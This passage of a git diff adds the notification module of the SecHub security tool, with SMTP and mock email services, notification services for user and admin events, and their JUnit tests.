private boolean cacheEmailsEnabled; + + private Map> mails = new HashMap<>(); + + public boolean isCacheEmailsEnabled() { + return cacheEmailsEnabled; + } + + @Override + public void send(SimpleMailMessage message) { + if (!cacheEmailsEnabled) { + return; + } + String[] toUsers = message.getTo(); + for (String to: toUsers) { + List mailsInternal = getMailsInternal(to); + mailsInternal.add(message); + LOG.info("add message:{} for user:{}. Has now {} mails.",message.getSubject(),to,mailsInternal.size()); + } + } + + public List getMailsFor(String emailAdress) { + if (!cacheEmailsEnabled) { + LOG.debug("cache for emails is disabled, so returning empty mails list for emailAdress:{}",emailAdress); + return Collections.emptyList(); + } + return getMailsInternal(emailAdress); + } + + private List getMailsInternal(String emailAdress) { + List list = mails.computeIfAbsent(emailAdress,this::createMailList); + LOG.info("resolved messages:{} for user:{}",list.size(),emailAdress); + return list; + } + + + private List createMailList(/*NOSONAR*/String emailAdress) { + return new ArrayList<>(); + } + + public void resetMockMails() { + mails.clear(); + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverter.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverter.java new file mode 100644 index 0000000000..45a86fc7ba --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverter.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import java.util.Map; +import java.util.TreeMap; + +public class SMTPConfigStringToMapConverter { + + public Map convertToMap(String smtpConfigString) { + Map map = new TreeMap<>(); + if (smtpConfigString==null) { + return map; + } + + String[] splitted = smtpConfigString.split(","); + for (String splitter: splitted) { + String[] keyValuePair = splitter.split("="); + if (keyValuePair==null || keyValuePair.length!=2) { + continue; + } + String key= keyValuePair[0]; + String value= keyValuePair[1]; + + if (key==null || value==null) { + continue; + } + + map.put(key.trim(), value.trim()); + + } + return map; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPMailService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPMailService.java new file mode 100644 index 0000000000..25e51d650f --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPMailService.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Profile; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.mail.javamail.JavaMailSender; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Profiles; + +@Service +@Profile("!"+Profiles.MOCKED_NOTIFICATIONS) +public class SMTPMailService implements EmailService{ + + @Autowired + public JavaMailSender mailSender; + + @Override + public void send(SimpleMailMessage message) { + mailSender.send(message); + } + + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPServerConfiguration.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPServerConfiguration.java new file mode 100644 index 0000000000..1167c7ffc9 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/SMTPServerConfiguration.java @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import java.util.Map; +import java.util.Properties; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Profile; +import org.springframework.mail.javamail.JavaMailSender; +import org.springframework.mail.javamail.JavaMailSenderImpl; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.Profiles; + +/** + * For examples see http://www.baeldung.com/spring-email, for setup of smtp by + * java mail refer + * https://javaee.github.io/javamail/docs/api/com/sun/mail/smtp/package-summary.html + * + * @author Albert Tregnaghi + * + */ +@Component +@Profile("!" + Profiles.MOCKED_NOTIFICATIONS) +public class SMTPServerConfiguration { + + private static final Logger LOG = LoggerFactory.getLogger(SMTPServerConfiguration.class); + + private static final int DEFAULT_SMTP_SERVER_PORT = 25; + + private static final String DEFAULT_SMTP_CONFIG = "mail.smtp.auth=false"; + + private SMTPConfigStringToMapConverter configConverter = new SMTPConfigStringToMapConverter(); + + @MustBeDocumented("Hostname of SMPTP server") + @Value("${sechub.notification.smtp.hostname}") + private String hostname; + + @MustBeDocumented("Port of SMPTP server, per default:" + DEFAULT_SMTP_SERVER_PORT) + @Value("${sechub.notification.smtp.port:" + DEFAULT_SMTP_SERVER_PORT + "}") + private int hostPort = DEFAULT_SMTP_SERVER_PORT; + + @MustBeDocumented("SMTP configuration map. You can setup all java mail smtp settings here in comma separate form with key=value. For Example: `mail.smtp.auth=false,mail.smtp.timeout=4000`. See https://javaee.github.io/javamail/docs/api/com/sun/mail/smtp/package-summary.html for configuration mapping") + @Value("${sechub.notification.smtp.config:"+ DEFAULT_SMTP_CONFIG+"}") + private String smtpConfigString = DEFAULT_SMTP_CONFIG; + + @Bean + public JavaMailSender getJavaMailSender() { + JavaMailSenderImpl mailSender = new JavaMailSenderImpl(); + mailSender.setHost(hostname); + mailSender.setPort(hostPort); + + Properties props = mailSender.getJavaMailProperties(); + props.put("mail.transport.protocol", "smtp"); + + try { + Map map = configConverter.convertToMap(smtpConfigString); + for (String key: map.keySet()) { + props.put(key, map.get(key)); + } + } catch (Exception e) { + LOG.error("Was not able to apply given smtp configuration"); + } + + return mailSender; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserBecomesAdminNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserBecomesAdminNotificationService.java new file mode 100644 index 0000000000..462409b126 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserBecomesAdminNotificationService.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.superadmin; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.NotificationConfiguration; +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorGrantsAdminRightsToUser; + +@Service +public class InformAdminsThatUserBecomesAdminNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private NotificationConfiguration notificationConfiguration; + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorGrantsAdminRightsToUser(@Step(number = 4, next = { + Step.NO_NEXT_STEP }, name = "Inform sechub admins that another user became administrator")) + public void notify(UserMessage userMessage, String baseUrl) { + + SimpleMailMessage message = factory.createMessage("A user gained sechub administrator rights"); + + message.setTo(notificationConfiguration.getEmailAdministrators()); + message.setText(createEmailContent(userMessage, baseUrl)); + + emailService.send(message); + + } + + private String createEmailContent(UserMessage userMessage, String baseUrl) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("Please welcome ").append(userMessage.getUserId()).append("\n\n"); + emailContent.append("as a new administrator of sechub for environment (base url):").append(baseUrl).append("\n"); + emailContent.append("Email adress of new colleague is:"+userMessage.getEmailAdress()); + emailContent.append("Don't forget: Colleague email adress should be added to NPM (email administrators) as well."); + + String text = emailContent.toString(); + return text; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserNoLongerAdminNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserNoLongerAdminNotificationService.java new file mode 100644 index 0000000000..29f48aeb40 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/superadmin/InformAdminsThatUserNoLongerAdminNotificationService.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.superadmin; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.NotificationConfiguration; +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorRevokesAdminRightsFromAdmin; + +@Service +public class InformAdminsThatUserNoLongerAdminNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private NotificationConfiguration notificationConfiguration; + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorRevokesAdminRightsFromAdmin(@Step(number = 4, next = { + Step.NO_NEXT_STEP }, name = "Inform sechub admins that another admin is no longer admin")) + public void notify(UserMessage userMessage, String baseUrl) { + + SimpleMailMessage message = factory.createMessage("An admin lost sechub administrator rights"); + + message.setTo(notificationConfiguration.getEmailAdministrators()); + message.setText(createEmailContent(userMessage, baseUrl)); + + emailService.send(message); + + } + + private String createEmailContent(UserMessage userMessage, String baseUrl) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("User ").append(userMessage.getUserId()).append("left hte group of sechub administrators.\n\n"); + emailContent.append("She/He will be no longer admin for environment (base url):").append(baseUrl).append("\n"); + emailContent.append("Email adress of old colleague was:"+userMessage.getEmailAdress()); + emailContent.append("Don't forget: Colleague email adress should be removed from NPM (email administrators) as well."); + String text = emailContent.toString(); + return text; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserBecomesAdminNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserBecomesAdminNotificationService.java new file mode 100644 index 0000000000..445ba2d94d --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserBecomesAdminNotificationService.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorGrantsAdminRightsToUser; + +@Service +public class InformUserThatUserBecomesAdminNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorGrantsAdminRightsToUser(@Step(number = 3, next = { + 4 }, name = "Inform user that he/she becomes administrator")) + public void notify(UserMessage userMessage, String baseUrl) { + + SimpleMailMessage message = factory.createMessage("Sechub administrator priviledges granted"); + + message.setTo(userMessage.getEmailAdress()); + message.setText(createEmailContent(userMessage, baseUrl)); + + emailService.send(message); + + } + + private String createEmailContent(UserMessage userMessage, String baseUrl) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("Welcome ").append(userMessage.getUserId()).append(",\n\n"); + emailContent.append("Congratulations! You become administrator of sechub\n"); + emailContent.append("at environment:"+baseUrl); + String text = emailContent.toString(); + return text; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserNoLongerAdminNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserNoLongerAdminNotificationService.java new file mode 100644 index 0000000000..de756da580 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/InformUserThatUserNoLongerAdminNotificationService.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorRevokesAdminRightsFromAdmin; + +@Service +public class InformUserThatUserNoLongerAdminNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorRevokesAdminRightsFromAdmin(@Step(number = 3, next = { + 4 }, name = "Inform user about loosing administrator rights")) + public void notify(UserMessage userMessage, String baseUrl) { + + SimpleMailMessage message = factory.createMessage("Sechub administrator priviledges revoked"); + + message.setTo(userMessage.getEmailAdress()); + message.setText(createEmailContent(userMessage, baseUrl)); + + emailService.send(message); + + } + + private String createEmailContent(UserMessage userMessage, String baseUrl) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("Dear ").append(userMessage.getUserId()).append("\n\n"); + emailContent.append("Your administrator rights for sechub where revoked.\n"); + emailContent.append("For environment: "+baseUrl); + String text = emailContent.toString(); + return text; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewAPITokenAppliedUserNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewAPITokenAppliedUserNotificationService.java new file mode 100644 index 0000000000..f32e61ea14 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewAPITokenAppliedUserNotificationService.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import java.text.MessageFormat; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserClicksLinkToGetNewAPIToken; + +@Service +public class NewAPITokenAppliedUserNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private EmailService emailService; + + @UseCaseUserClicksLinkToGetNewAPIToken(@Step(number = 4, next = { + Step.NO_NEXT_STEP }, name = "Inform user about api token change done")) + public void notify(UserMessage userMessage) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("You have requested a new api token.\n"); + emailContent.append(MessageFormat.format("The new api token has been applied to your user:\"{0}\".\n", + userMessage.getUserId())); + emailContent.append("If you have not triggered an api token change please inform administrators."); + + SimpleMailMessage message1 = factory.createMessage("SecHub API token changed"); + message1.setTo(userMessage.getEmailAdress()); + message1.setText(emailContent.toString()); + + emailService.send(message1); + + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewApiTokenRequestedUserNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewApiTokenRequestedUserNotificationService.java new file mode 100644 index 0000000000..eb1e0f2229 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewApiTokenRequestedUserNotificationService.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorAcceptsSignup; + +@Service +public class NewApiTokenRequestedUserNotificationService { + + @Autowired + private MailMessageFactory factory; + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorAcceptsSignup(@Step(number = 3, next = { + Step.NO_NEXT_STEP }, name = "Email to user", description = "A notification is send per email to user that a new api token was requested. " + + "The mail contains a link for getting the secure API token")) + public void notify(UserMessage userMessage) { + String link = userMessage.getLinkWithOneTimeToken(); + + StringBuilder emailContent = new StringBuilder(); + emailContent.append("You requested a new API token. Please use following link to get the token:\n"); + /* + * important link must be at last line for integration testing. if changes here + * are done please change the parts in `sechub-integrationtest AssertUser#fetchOneApiTokenByMailOrFail` too! + */ + emailContent.append(link); + emailContent.append("\n"); + + SimpleMailMessage message1 =factory.createMessage(userMessage.getSubject()); + message1.setTo(userMessage.getEmailAdress()); + message1.setText(emailContent.toString()); + + emailService.send(message1); + + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationService.java new file mode 100644 index 0000000000..151960bcaa --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationService.java @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.NotificationConfiguration; +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserSignup; + +@Service +public class SignUpRequestedAdminNotificationService { + + @Autowired + NotificationConfiguration notificationConfiguration; + + @Autowired + MailMessageFactory factory; + + @Autowired + EmailService emailService; + + @UseCaseUserSignup(@Step(number = 3, next = { + Step.NO_NEXT_STEP }, name = "Email to admin", description = "A notification is send per email to admins that a new user signup has been created and waits for acceptance.")) + public void notify(UserMessage userMessage) { + /* build content */ + StringBuilder emailContent = new StringBuilder(); + + emailContent.append("A user requested access to SecHub:\n"); + emailContent.append("- Requested user id:'"); + emailContent.append(userMessage.getUserId()); + emailContent.append("''\n- Mail adress:'"); + emailContent.append(userMessage.getEmailAdress()); + emailContent.append("'\n"); + + /* send mail */ + SimpleMailMessage message1 =factory.createMessage("SecHub signup requested"); + message1.setTo(notificationConfiguration.getEmailAdministrators()); + message1.setText(emailContent.toString()); + + emailService.send(message1); + + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/UserDeletedNotificationService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/UserDeletedNotificationService.java new file mode 100644 index 0000000000..1f4e3b3434 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/UserDeletedNotificationService.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +public class UserDeletedNotificationService { + + + @Autowired + private MailMessageFactory factory; + + + @Autowired + private EmailService emailService; + + @UseCaseAdministratorDeletesUser(@Step(number = 5, next = { + Step.NO_NEXT_STEP }, name = "Inform user that the account has been deleted by administrator")) + + public void notify(UserMessage userMessage) { + StringBuilder emailContent = new StringBuilder(); + emailContent.append("Your account has been removed by an administrator.\n"); + + SimpleMailMessage message = factory.createMessage("SecHub account removed"); + message.setTo(userMessage.getEmailAdress()); + message.setText(emailContent.toString()); + + emailService.send(message); + + } + +} diff --git a/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/NotificationMessageHandlerTest.java b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/NotificationMessageHandlerTest.java new file mode 100644 index 0000000000..fe74272315 --- /dev/null +++ b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/NotificationMessageHandlerTest.java @@ -0,0 +1,100 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification; + +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.notification.user.NewAPITokenAppliedUserNotificationService; +import com.daimler.sechub.domain.notification.user.NewApiTokenRequestedUserNotificationService; +import com.daimler.sechub.domain.notification.user.SignUpRequestedAdminNotificationService; +import com.daimler.sechub.domain.notification.user.UserDeletedNotificationService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +public class NotificationMessageHandlerTest { + + private SignUpRequestedAdminNotificationService mockedSignUpRequestedAdminNotificationService; + private NotificationMessageHandler handlerToTest; + private NewAPITokenAppliedUserNotificationService mockedNewAPITokenAppliedUserNotificationService; + private NewApiTokenRequestedUserNotificationService mockedNewApiTokenRequestedUserNotificationService; + private UserDeletedNotificationService mockedUserDeletedNotificationService; + + @Before + public void before() throws Exception { + mockedSignUpRequestedAdminNotificationService = mock(SignUpRequestedAdminNotificationService.class); + mockedNewAPITokenAppliedUserNotificationService = mock(NewAPITokenAppliedUserNotificationService.class); + mockedNewApiTokenRequestedUserNotificationService=mock(NewApiTokenRequestedUserNotificationService.class); + mockedUserDeletedNotificationService=mock(UserDeletedNotificationService.class); + + handlerToTest = new NotificationMessageHandler(); + handlerToTest.signupRequestedAdminNotificationService=mockedSignUpRequestedAdminNotificationService; + handlerToTest.newAPITokenAppliedUserNotificationService=mockedNewAPITokenAppliedUserNotificationService; + handlerToTest.newApiTokenRequestedUserNotificationService=mockedNewApiTokenRequestedUserNotificationService; + handlerToTest.userDeletedNotificationService=mockedUserDeletedNotificationService; + } + + @Test + public void an_event_about_created_signup_triggers_signUpCreatedAdminNotificationService_with_included_signup_data() { + /* prepare */ + UserMessage userMessage = mock(UserMessage.class); + DomainMessage request = mock(DomainMessage.class); + when(request.getMessageId()).thenReturn(MessageID.USER_SIGNUP_REQUESTED); + when(request.get(MessageDataKeys.USER_SIGNUP_DATA)).thenReturn(userMessage); + + /* execute */ + handlerToTest.receiveAsyncMessage(request); + + /* test */ + verify(mockedSignUpRequestedAdminNotificationService).notify(userMessage); + } + + @Test + public void an_event_about_deleted_user_triggers_UserDeletedNotificationService() { + /* prepare */ + UserMessage userMessage = mock(UserMessage.class); + DomainMessage request = mock(DomainMessage.class); + when(request.getMessageId()).thenReturn(MessageID.USER_DELETED); + when(request.get(MessageDataKeys.USER_DELETE_DATA)).thenReturn(userMessage); + + /* execute */ + handlerToTest.receiveAsyncMessage(request); + + /* test */ + verify(mockedUserDeletedNotificationService).notify(userMessage); + } + + @Test + public void an_event_about_changed_api_token_triggers_newApiTokenUserNotificationService() { + /* prepare */ + UserMessage userMessage = mock(UserMessage.class); + DomainMessage request = mock(DomainMessage.class); + when(request.getMessageId()).thenReturn(MessageID.USER_API_TOKEN_CHANGED); + when(request.get(MessageDataKeys.USER_API_TOKEN_DATA)).thenReturn(userMessage); + + /* execute */ + handlerToTest.receiveAsyncMessage(request); + + /* test */ + verify(mockedNewAPITokenAppliedUserNotificationService).notify(userMessage); + } + + @Test + public void an_event_about_requested_new_api_token_triggers_newApiTokenRequestedUserNotificationService() { + /* prepare */ + UserMessage userMessage = mock(UserMessage.class); + DomainMessage request = mock(DomainMessage.class); + when(request.getMessageId()).thenReturn(MessageID.USER_NEW_API_TOKEN_REQUESTED); + when(request.get(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO)).thenReturn(userMessage); + + /* execute */ + handlerToTest.receiveAsyncMessage(request); + + /* test */ + verify(mockedNewApiTokenRequestedUserNotificationService).notify(userMessage); + } + +} diff --git a/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverterTest.java b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverterTest.java new file mode 100644 index 0000000000..a2b89112cb --- /dev/null +++ b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/email/SMTPConfigStringToMapConverterTest.java @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import static org.junit.Assert.*; + +import java.util.Map; +import java.util.Objects; + +import org.junit.Before; +import org.junit.Test; + +public class SMTPConfigStringToMapConverterTest { + + private SMTPConfigStringToMapConverter converterToTest; + + @Before + public void before() { + converterToTest = new SMTPConfigStringToMapConverter(); + } + + @Test + public void null_results_in_empty_map() { + /* execute */ + Map map = converterToTest.convertToMap(null); + + /* test */ + assertNotNull(map); + assertTrue(map.isEmpty()); + } + + @Test + public void empty_results_in_empty_map() { + /* execute */ + Map map = converterToTest.convertToMap(""); + + /* test */ + assertNotNull(map); + assertTrue(map.isEmpty()); + } + + @Test + public void one_entry_all_correct_set() { + /* execute */ + Map map = converterToTest.convertToMap("mail.smtp.auth=false"); + + /* test */ + assertConfig(map).with("mail.smtp.auth", "false"); + } + + @Test + public void one_entry_all_correct_set_but_spaces() { + /* execute */ + Map map = converterToTest.convertToMap("mail.smtp.auth = false"); + + /* test */ + assertConfig(map).with("mail.smtp.auth", "false"); + } + + @Test + public void two_entry_all_correct_set_but_spaces() { + /* execute */ + Map map = converterToTest.convertToMap("mail.smtp.auth = false,mail.smtp.auth.mechanism=PLAIN"); + + /* test */ + assertConfig(map).with("mail.smtp.auth", "false").with("mail.smtp.auth.mechanism", "PLAIN"); + } + + @Test + public void one_entry_no_value() { + /* execute */ + Map map = converterToTest.convertToMap("mail.smtp.auth="); + + /* test */ + assertConfig(map).without("mail.smtp.auth"); + } + + private AssertConfigResult assertConfig(Map map) { + return new AssertConfigResult(map); + } + + private class AssertConfigResult{ + private Map map; + + private AssertConfigResult(Map map) { + Objects.requireNonNull(map); + this.map=map; + } + + public AssertConfigResult with(String key, String value) { + String found = map.get(key); + assertEquals("Content differs for key:"+key,value, found); + return this; + } + public AssertConfigResult without(String key) { + assertFalse("Key does exist:"+key, map.containsKey(key)); + return this; + } + } + + +} diff --git a/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationServiceTest.java b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationServiceTest.java new file mode 100644 index 0000000000..2476921702 --- /dev/null +++ b/sechub-notification/src/test/java/com/daimler/sechub/domain/notification/user/SignUpRequestedAdminNotificationServiceTest.java @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.user; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.mail.SimpleMailMessage; + +import com.daimler.sechub.domain.notification.NotificationConfiguration; +import com.daimler.sechub.domain.notification.email.EmailService; +import com.daimler.sechub.domain.notification.email.MailMessageFactory; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +public class SignUpRequestedAdminNotificationServiceTest { + + private SignUpRequestedAdminNotificationService serviceToTest; + private NotificationConfiguration mockedNotificationConfiguration; + private EmailService mockedEmailService; + private MailMessageFactory mockedMailMessageFactory; + + + @Before + public void before() throws Exception { + mockedNotificationConfiguration = mock(NotificationConfiguration.class); + mockedEmailService = mock(EmailService.class); + mockedMailMessageFactory = mock(MailMessageFactory.class); + + serviceToTest = new SignUpRequestedAdminNotificationService(); + serviceToTest.emailService=mockedEmailService; + serviceToTest.factory=mockedMailMessageFactory; + serviceToTest.notificationConfiguration=mockedNotificationConfiguration; + } + + + @Test + public void sends_email_to_admins_containing_userid_and_email_from_event() throws Exception { + + /* prepare */ + when(mockedNotificationConfiguration.getEmailAdministrators()).thenReturn("adminMail"); + + SimpleMailMessage mockedMailMessage = mock(SimpleMailMessage.class); + when(mockedMailMessageFactory.createMessage(any())).thenReturn(mockedMailMessage); + + // message to receive from event bus + UserMessage message = mock(UserMessage.class); + when(message.getUserId()).thenReturn("schlaubi"); + when(message.getEmailAdress()).thenReturn("schlaubi@schlumpfhausen.de"); + + /* execute */ + serviceToTest.notify(message); + + /* test */ + // check mocked mail message was sent + ArgumentCaptor mailMessageCaptor = ArgumentCaptor.forClass(SimpleMailMessage.class); + verify(mockedEmailService).send(mailMessageCaptor.capture()); + assertSame(mockedMailMessage, mailMessageCaptor.getValue()); + verify(mockedMailMessage).setTo("adminMail"); + + // check content + ArgumentCaptor stringMessageCaptor = ArgumentCaptor.forClass(String.class); + verify(mockedMailMessage).setText(stringMessageCaptor.capture()); + String textInMessageBody = stringMessageCaptor.getValue(); + assertTrue(textInMessageBody.contains("'schlaubi'")); + assertTrue(textInMessageBody.contains("'schlaubi@schlumpfhausen.de'")); + } + +} diff --git a/sechub-other/.gitignore b/sechub-other/.gitignore new file mode 100644 index 0000000000..5671342ca1 --- /dev/null +++ b/sechub-other/.gitignore @@ -0,0 +1 @@ +!mockdata_setup.json \ No newline at end of file diff --git a/sechub-other/.pydevproject b/sechub-other/.pydevproject new file mode 100644 index 0000000000..d001f0aea3 --- /dev/null +++ b/sechub-other/.pydevproject @@ -0,0 +1,5 @@ + + +Default +python interpreter + diff --git a/sechub-other/mockdata/README.md b/sechub-other/mockdata/README.md new file mode 100644 index 0000000000..fc2a6a688f --- /dev/null +++ b/sechub-other/mockdata/README.md @@ -0,0 +1,7 @@ + +MOCKDATA +======== 